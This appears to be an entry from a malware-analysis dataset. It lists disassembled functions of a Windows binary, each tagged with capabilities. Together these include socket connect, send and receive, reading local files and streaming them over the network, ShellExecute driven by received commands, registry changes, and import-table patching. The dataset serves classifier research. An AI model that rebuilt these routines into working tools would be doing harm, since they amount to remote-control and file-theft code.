joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42ca80
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x42cb03
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
mov edx, 0x10
call fcn.0040da54
mov eax, dword [ebx + 0xc]
mov eax, dword [eax + 0x30]
sub eax, 0x2e
mov dword [esi + 8], eax
push 0x410
push esi
lea edx, [ebp - 4]
mov eax, ebx
call fcn.0042cc20
mov eax, dword [ebp - 4]
call fcn.00406bc0
push eax
lea edx, [ebp - 8]
mov eax, ebx
call fcn.0042cc20
mov eax, dword [ebp - 8]
call fcn.00407010
push eax
push edi
call sub.user32.dll_DrawTextA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42cb0a
lea eax, [ebp - 8]
mov edx, 2
call fcn.00406820
ret

Function at 0x42d024
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov ebx, eax
mov esi, dword [ebx + 0x14]
test esi, esi
je 0x42d06f
push 0
push 0
push 0xe
push esi
call sub.user32.dll_SendMessageA
mov edx, eax
inc edx
lea eax, [ebx + 0x50]
xor ecx, ecx
call fcn.004072f4
mov eax, dword [ebx + 0x50]
push eax
mov eax, dword [ebx + 0x50]
call fcn.00406bc0
push eax
push 0xd
mov eax, dword [ebx + 0x14]
push eax
call sub.user32.dll_SendMessageA
mov edx, eax
lea eax, [ebx + 0x50]
xor ecx, ecx
call fcn.004072f4
mov eax, edi
mov edx, dword [ebx + 0x50]
call fcn.00406850
pop edi
pop esi
pop ebx
ret

Function at 0x438234
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
xor edx, edx
mov dword [ebp - 0x10c], edx
mov dword [ebp - 0x110], edx
mov dword [ebp - 0x114], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x43834d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x105]
push eax
push 0x104
call sub.kernel32.dll_GetTempPathA
test eax, eax
jbe 0x438328
mov eax, ebx
lea edx, [ebp - 0x105]
mov ecx, 0x105
push 0
call fcn.00406b64
cmp dword [ebx], 0
je 0x43832f
push 0
mov eax, dword [ebx]
call fcn.00407010
push eax
call sub.kernel32.dll_CreateDirectoryA
mov eax, dword [ebx]
call fcn.00406bc0
mov edx, dword [ebx]
cmp byte [edx + eax - 1], 0x5c
je 0x4382c3
mov eax, ebx
mov edx, 0x438368
call fcn.00406bf4
push dword [ebx]
lea edx, [ebp - 0x114]
xor eax, eax
call fcn.00437dc0
mov eax, dword [ebp - 0x114]
lea edx, [ebp - 0x110]
call fcn.00437df4
mov eax, dword [ebp - 0x110]
lea edx, [ebp - 0x10c]
call fcn.00437ff4
push dword [ebp - 0x10c]
push 0x438378
mov eax, ebx
mov edx, 3
call fcn.00406dac
push 0
mov eax, dword [ebx]
call fcn.00407010
push eax
call sub.kernel32.dll_CreateDirectoryA
mov eax, ebx
mov edx, 0x438368
call fcn.00406bf4
jmp 0x43832f
mov eax, ebx
call fcn.004067fc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x438354
lea eax, [ebp - 0x114]
mov edx, 3
call fcn.00406820
ret
Function at 0x438384
Capabilities:
Check if file exists
Delete directory
Delete file
Enumerate files on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb0
push ebx
xor eax, eax
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x148], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x438496
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.00438234
cmp dword [ebp - 4], 0
je 0x438470
mov eax, dword [ebp - 4]
call fcn.00407010
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x438470
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x148]
mov ecx, 0x4384b0
mov edx, dword [ebp - 4]
call fcn.00406cbc
mov eax, dword [ebp - 0x148]
call fcn.00407010
push eax
call sub.kernel32.dll_FindFirstFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x438462
lea eax, [ebp - 0x150]
lea edx, [ebp - 0x118]
mov ecx, 0x104
push 0
call fcn.00406b64
mov ecx, dword [ebp - 0x150]
lea eax, [ebp - 0x14c]
mov edx, dword [ebp - 4]
call fcn.00406cbc
mov eax, dword [ebp - 0x14c]
call fcn.00407010
push eax
call sub.kernel32.dll_DeleteFileA
lea eax, [ebp - 0x144]
push eax
push ebx
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x43840e
push ebx
call sub.kernel32.dll_FindClose_1
mov eax, dword [ebp - 4]
call fcn.00407010
push eax
call sub.kernel32.dll_RemoveDirectoryA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43849d
lea eax, [ebp - 0x150]
mov edx, 3
call fcn.00406820
lea eax, [ebp - 4]
call fcn.004067fc
ret

Function at 0x4384b4
Capabilities:
Get hostname

Disassembly:
push ebx
add esp, 0xfffffef4
mov ebx, eax
mov dword [esp], 0x104
push esp
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_GetComputerNameA
mov eax, ebx
lea edx, [esp + 4]
mov ecx, 0x105
push 0
call fcn.00406b64
add esp, 0x10c
pop ebx
ret
Function at 0x4384ec
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00407000
mov eax, dword [ebp - 8]
call fcn.00407000
xor eax, eax
push ebp
push 0x4385ec
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.004067fc
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
mov eax, dword [ebp - 4]
call fcn.00407010
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4385d1
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00407010
mov edi, eax
push edi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA
cmp dword [ebp - 0x10], 0
je 0x4385c8
mov eax, dword [ebp - 0x10]
add eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
push 0x40
call sub.kernel32.dll_LocalAlloc_2
mov esi, eax
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0x14]
push eax
push 0
push edi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x4385c2
cmp dword [ebp - 0x14], 1
jne 0x4385b4
mov eax, ebx
mov edx, esi
mov ecx, 0
call fcn.00406ae0
jmp 0x4385c2
push 0
mov eax, ebx
mov ecx, dword [ebp - 0x10]
mov edx, esi
call fcn.00406934
push esi
call sub.kernel32.dll_LocalFree_1
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4385f3
lea eax, [ebp - 8]
mov edx, 2
call fcn.00406820
ret

Function at 0x4385fc
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00407000
mov eax, dword [ebp - 8]
call fcn.00407000
mov eax, dword [ebp + 8]
call fcn.00407000
xor eax, eax
push ebp
push 0x4386be
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00407010
push eax
push ebx
call sub.advapi32.dll_RegCreateKeyExA
test eax, eax
jne 0x438699
lea eax, [ebp + 8]
xor edx, edx
call fcn.00406a28
call fcn.00406bc0
inc eax
push eax
mov eax, dword [ebp + 8]
call fcn.00407010
push eax
push 1
push 0
mov eax, dword [ebp - 8]
call fcn.00407010
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
sete bl
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
jmp 0x43869b
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4386c5
lea eax, [ebp - 8]
mov edx, 2
call fcn.00406820
lea eax, [ebp + 8]
call fcn.004067fc
ret
Function at 0x4386d0
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00407000
mov eax, dword [ebp - 8]
call fcn.00407000
xor eax, eax
push ebp
push 0x43875a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov eax, dword [ebp - 4]
call fcn.00407010
push eax
push ebx
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x43873d
mov eax, dword [ebp - 8]
call fcn.00407010
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegDeleteValueA
test eax, eax
sete bl
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
jmp 0x43873f
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x438761
lea eax, [ebp - 8]
mov edx, 2
call fcn.00406820
ret

Function at 0x438a88
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0041bbd4
test eax, eax
je 0x438b18
add eax, 0x80
mov edx, dword [eax]
mov esi, edx
add esi, dword [ebp - 4]
add edx, dword [eax + 4]
mov dword [ebp - 0x10], edx
test esi, esi
je 0x438b18
jmp 0x438b12
mov eax, dword [esi + 0x10]
cmp eax, dword [ebp - 0x10]
jbe 0x438ace
push ebp
call fcn.004389b0
pop ecx
jmp 0x438b18
cmp dword [esi + 0x10], 0
je 0x438b0f
mov ebx, dword [ebp - 4]
add ebx, dword [esi + 0x10]
jmp 0x438b0a
cmp edi, dword [ebx]
jne 0x438b07
lea eax, [ebp - 0xc]
push eax
push 0x40
push 4
push ebx
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x438b07
mov eax, dword [ebp - 8]
mov dword [ebx], eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 4
push ebx
call sub.kernel32.dll_VirtualProtect
add ebx, 4
cmp dword [ebx], 0
jne 0x438adc
add esi, 0x14
cmp dword [esi + 0xc], 0
jne 0x438abd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4464fc
Capabilities:
Create thread

Disassembly:
cmp dword [0x61ce5c], 0
jne 0x44657a
xor eax, eax
call fcn.0041b454
mov dword [0x61ce5c], eax
cmp dword [0x61ce5c], 0
je 0x44657a
mov eax, 0x446390
xor ecx, ecx
xor edx, edx
call fcn.0041b8a0
mov dword [0x61ce60], eax
push 0x61ce54
push 0
push 0
push 0x4463d0
push 0
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x61ce58], eax
cmp dword [0x61ce58], 0
je 0x44657a
push 0
push 0
push 0
mov ecx, 0x446588
mov edx, dword [0x61ce58]
mov eax, dword [0x61ce54]
call fcn.00438bb0
push 2
mov eax, dword [0x61ce58]
push eax
call sub.kernel32.dll_SetThreadPriority
ret

Function at 0x44658c
Capabilities:
Terminate thread

Disassembly:
cmp dword [0x61ce5c], 0
je 0x44660a
cmp dword [0x61ce6c], 0
je 0x4465b1
mov eax, dword [0x61ce6c]
xor edx, edx
mov dword [0x61ce6c], edx
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [0x61ce68], 0xffffffff
mov eax, 0x446390
xor ecx, ecx
xor edx, edx
call fcn.0041baa4
push 0
mov eax, dword [0x61ce58]
push eax
call sub.kernel32.dll_TerminateThread
mov eax, dword [0x61ce58]
push eax
call sub.kernel32.dll_CloseHandle_1
push 0
push 0
push 0
xor ecx, ecx
xor edx, edx
mov eax, dword [0x61ce54]
call fcn.00438bb0
xor eax, eax
mov dword [0x61ce58], eax
xor eax, eax
mov dword [0x61ce54], eax
xor eax, eax
mov dword [0x61ce5c], eax
ret
Function at 0x44e694
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00407000
xor eax, eax
push ebp
push 0x44e6f1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00407010
mov esi, eax
push esi
call sub.wsock32.dll_inet_addr
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x44e6db
push esi
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x44e6db
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ebx, dword [eax]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44e6f8
lea eax, [ebp - 4]
call fcn.004067fc
ret
Function at 0x44ee64
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov edi, eax
mov eax, dword [ebp - 4]
call fcn.00407000
xor eax, eax
push ebp
push 0x44ef01
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
xor esi, esi
jmp 0x44eed4
lea eax, [ebp - 4]
xor edx, edx
call fcn.00406a28
call fcn.00406bc0
mov ebx, eax
sub ebx, esi
cmp ebx, 0x400
jle 0x44eeb0
mov ebx, 0x400
push 0
push ebx
lea eax, [ebp - 4]
xor edx, edx
call fcn.00406a28
lea eax, [ebp - 4]
call fcn.00407088
add eax, esi
push eax
push edi
call sub.wsock32.dll_send
test eax, eax
jl 0x44eeeb
add esi, ebx
lea eax, [ebp - 4]
xor edx, edx
call fcn.00406a28
call fcn.00406bc0
cmp esi, eax
jl 0x44ee90
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44ef08
lea eax, [ebp - 4]
call fcn.004067fc
ret

Function at 0x44ef14
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00407000
xor eax, eax
push ebp
push 0x44ef81
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 3
push 0
push 3
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.00407010
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x44ef69
push 0
push ebx
call sub.kernel32.dll_GetFileSize_1
mov esi, eax
push ebx
call sub.kernel32.dll_CloseHandle_1
jmp 0x44ef6b
xor esi, esi
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44ef88
lea eax, [ebp - 4]
call fcn.004067fc
ret

Function at 0x44f1a4
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00407000
xor eax, eax
push ebp
push 0x44f276
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
cmp dword [ebp - 4], 0
je 0x44f260
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [esi], eax
cmp dword [esi], 0xffffffff
je 0x44f260
mov eax, dword [ebp - 4]
call fcn.00407010
push eax
call sub.wsock32.dll_inet_addr
mov edi, eax
cmp edi, 0xffffffff
jne 0x44f214
mov eax, dword [ebp - 4]
call fcn.00407010
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x44f214
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov edi, dword [eax]
cmp edi, 0xffffffff
je 0x44f260
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx + 0x24]
mov word [ebp - 0x14], 2
mov eax, dword [ebp + 8]
movzx eax, word [eax + 0x10]
push eax
call sub.wsock32.dll_htons
mov word [ebp - 0x12], ax
mov dword [ebp - 0x10], edi
push 0x10
lea eax, [ebp - 0x14]
push eax
mov eax, dword [esi]
push eax
call sub.wsock32.dll_connect
inc eax
je 0x44f260
mov bl, 1
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx + 0x24]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44f27d
lea eax, [ebp - 4]
call fcn.004067fc
ret
Function at 0x44f7dc
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff98
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
call fcn.00407000
mov eax, dword [ebp - 8]
call fcn.00407000
mov eax, dword [ebp + 8]
call fcn.00407000
xor eax, eax
push ebp
push 0x44fa15
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 3
push 0
push 3
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.00407010
push eax
call sub.kernel32.dll_CreateFileA
mov edi, eax
cmp edi, 0xffffffff
setne byte [ebp - 0x11]
cmp byte [ebp - 0x11], 0
je 0x44f9e5
push 0
push edi
call sub.kernel32.dll_GetFileSize_1
mov ebx, eax
test ebx, ebx
jbe 0x44f9df
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x1d], 1
test ebx, ebx
jbe 0x44f9cf
cmp ebx, 0x39
jbe 0x44f882
mov esi, 0x39
jmp 0x44f884
mov esi, ebx
push 0
lea eax, [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0x56]
push eax
push edi
call sub.kernel32.dll_ReadFile_1
test eax, eax
je 0x44f89e
cmp esi, dword [ebp - 0x18]
je 0x44f8ba
cmp byte [ebp - 0x1d], 0
jne 0x44f8b1
mov edx, 0x44fa38
mov eax, dword [ebp - 0x10]
call fcn.0044ee64
mov byte [ebp - 0x11], 0
jmp 0x44f9cf
lea ecx, [ebp - 0x5c]
mov edx, 4
mov eax, dword [ebp - 4]
call fcn.0040fe90
mov eax, dword [ebp - 0x5c]
mov edx, 0x44fa48
call fcn.004100f8
test al, al
je 0x44f8ea
lea eax, [ebp - 0xc]
mov edx, 0x44fa5c
call fcn.004068ac
jmp 0x44f8f7
lea eax, [ebp - 0xc]
mov edx, 0x44fa74
call fcn.004068ac
cmp byte [ebp - 0x1d], 0
je 0x44f97a
push 0x44fa9c
lea eax, [ebp - 0x64]
mov edx, dword [0x61ced8]
mov ecx, 0
call fcn.00406ae0
push dword [ebp - 0x64]
push 0x44fa38
push 0x44faac
push dword [ebp - 0xc]
push 0x44fac8
push 0x44fad8
push dword [ebp - 8]
push 0x44faec
push 0x44fa38
push 0x44fafc
push 0x44fa38
push 0x44fb2c
push 0x44fb5c
push dword [ebp - 8]
push 0x44faec
push 0x44fa38
push 0x44fa38
lea eax, [ebp - 0x60]
mov edx, 0x12
call fcn.00406dac
mov edx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x10]
call fcn.0044ee64
lea ecx, [ebp - 0x68]
lea eax, [ebp - 0x56]
mov edx, esi
call fcn.0041d11c
lea eax, [ebp - 0x68]
mov edx, 0x44fa38
call fcn.00406bf4
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x10]
call fcn.0044ee64
sub ebx, esi
mov byte [ebp - 0x1d], 0
mov eax, dword [ebp - 0x1c]
sub eax, ebx
imul eax, eax, 0x3e8
xor edx, edx
div dword [ebp - 0x1c]
mov edx, eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 8]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, dword [eax]
call dword [ecx + 0x18]
test ebx, ebx
ja 0x44f876
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 8]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx + 0x24]
push edi
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44fa1c
lea eax, [ebp - 0x68]
mov edx, 4
call fcn.00406820
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00406820
lea eax, [ebp + 8]
call fcn.004067fc
ret
Function at 0x45049c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00407000
xor eax, eax
push ebp
push 0x450592
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 8]
push eax
mov cl, 0x20
mov edx, 2
mov eax, dword [ebp - 4]
call fcn.00411dcc
mov eax, dword [ebp - 8]
mov edx, 0x4505b0
call fcn.00406f8c
jne 0x450554
push 0x7fffffff
mov ecx, 1
mov edx, dword [ebp - 4]
mov eax, 0x4505c0
call fcn.0041052c
mov esi, eax
test esi, esi
jle 0x450577
push 0x7fffffff
lea ecx, [esi + 0xa]
mov edx, dword [ebp - 4]
mov eax, 0x4505d8
call fcn.00410440
test eax, eax
jle 0x450577
lea edx, [ebp - 4]
mov ecx, 0x7fffffff
xchg edx, eax
call fcn.004070f4
lea ecx, [esi + 9]
lea eax, [ebp - 4]
mov edx, 1
call fcn.004070f4
push 1
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00407010
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
mov bl, 1
jmp 0x450577
lea eax, [ebp - 0xc]
push eax
mov cl, 0x20
mov edx, 2
mov eax, dword [ebp - 4]
call fcn.00411dcc
mov eax, dword [ebp - 0xc]
mov edx, 0x4505e8
call fcn.00406f8c
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x450599
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00406820
ret

Function at 0x4505ec
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffae4
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x151c], edx
mov dword [ebp - 0x1518], edx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x450757
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov dword [ebp - 0x1514], 1
mov dword [ebp - 0x1510], esi
mov eax, dword [0x61c670]
mov dword [ebp - 0xc], eax
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0
lea eax, [ebp - 0x1514]
push eax
push 0
call sub.wsock32.dll_select
test eax, eax
jle 0x450731
push 0
push 0
push 0x1400
lea eax, [ebp - 0x140d]
push eax
push esi
call sub.wsock32.dll_recv
mov ecx, eax
lea edx, [ebp - 0x140d]
lea eax, [ebp - 4]
call fcn.00406934
lea eax, [ebp - 0x1518]
push eax
mov cl, 0x20
mov edx, 2
mov eax, dword [ebp - 4]
call fcn.00411dcc
mov eax, dword [ebp - 0x1518]
mov edx, 0x450774
call fcn.00406f8c
jne 0x450727
push 0x7fffffff
mov ecx, 1
mov edx, dword [ebp - 4]
mov eax, 0x450784
call fcn.00410440
test eax, eax
jle 0x450717
lea ecx, [eax + 3]
lea eax, [ebp - 4]
mov edx, 1
call fcn.004070f4
lea eax, [ebp - 0x151c]
push eax
mov cl, 0x20
mov edx, 2
mov eax, dword [ebp - 4]
call fcn.00411dcc
mov eax, dword [ebp - 0x151c]
call fcn.00406bc0
cmp eax, 3
jne 0x450707
mov eax, dword [ebp - 4]
call fcn.0045049c
mov ebx, eax
jmp 0x450731
mov eax, dword [ebp + 8]
push eax
mov eax, esi
call fcn.004505ec
pop ecx
mov ebx, eax
jmp 0x450731
mov eax, dword [ebp + 8]
push eax
mov eax, esi
call fcn.004505ec
pop ecx
mov ebx, eax
jmp 0x450731
mov eax, dword [ebp - 4]
call fcn.0045049c
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45075e
lea eax, [ebp - 0x151c]
mov edx, 2
call fcn.00406820
lea eax, [ebp - 4]
call fcn.004067fc
ret
Function at 0x45078c
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
call fcn.00407000
mov eax, dword [ebp - 8]
call fcn.00407000
mov eax, dword [ebp + 8]
call fcn.00407000
xor eax, eax
push ebp
push 0x450948
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 3
push 0
push 3
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.00407010
push eax
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
setne bl
test bl, bl
je 0x450918
push 0
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_GetFileSize_1
mov edi, eax
test edi, edi
jbe 0x45090f
mov dword [ebp - 0x1c], edi
push 0x450968
lea eax, [ebp - 0x24]
mov edx, dword [0x61ced8]
mov ecx, 0
call fcn.00406ae0
push dword [ebp - 0x24]
push 0x45097c
push 0x45098c
push dword [ebp + 8]
push 0x4509c0
push dword [ebp - 8]
push 0x4509dc
push 0x45097c
push 0x4509ec
push 0x45097c
push 0x45097c
lea eax, [ebp - 0x20]
mov edx, 0xc
call fcn.00406dac
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
call fcn.0044ee64
lea eax, [ebp - 0xc]
xor ecx, ecx
mov edx, 0x400
call fcn.004072f4
jmp 0x4508f7
cmp edi, 0x400
jbe 0x450897
mov esi, 0x400
jmp 0x450899
mov esi, edi
lea eax, [ebp - 0xc]
xor ecx, ecx
mov edx, esi
call fcn.004072f4
push 0
lea eax, [ebp - 0x18]
push eax
push esi
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_ReadFile_1
test eax, eax
je 0x4508c2
cmp esi, dword [ebp - 0x18]
je 0x4508c6
xor ebx, ebx
jmp 0x4508ff
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
call fcn.0044ee64
mov ebx, eax
sub edi, esi
mov eax, dword [ebp - 0x1c]
sub eax, edi
imul eax, eax, 0x3e8
xor edx, edx
div dword [ebp - 0x1c]
mov edx, eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 8]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, dword [eax]
call dword [ecx + 0x18]
test bl, bl
je 0x4508ff
test edi, edi
ja 0x450888
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 8]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx + 0x24]
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45094f
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.00406820
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00406820
lea eax, [ebp + 8]
call fcn.004067fc
ret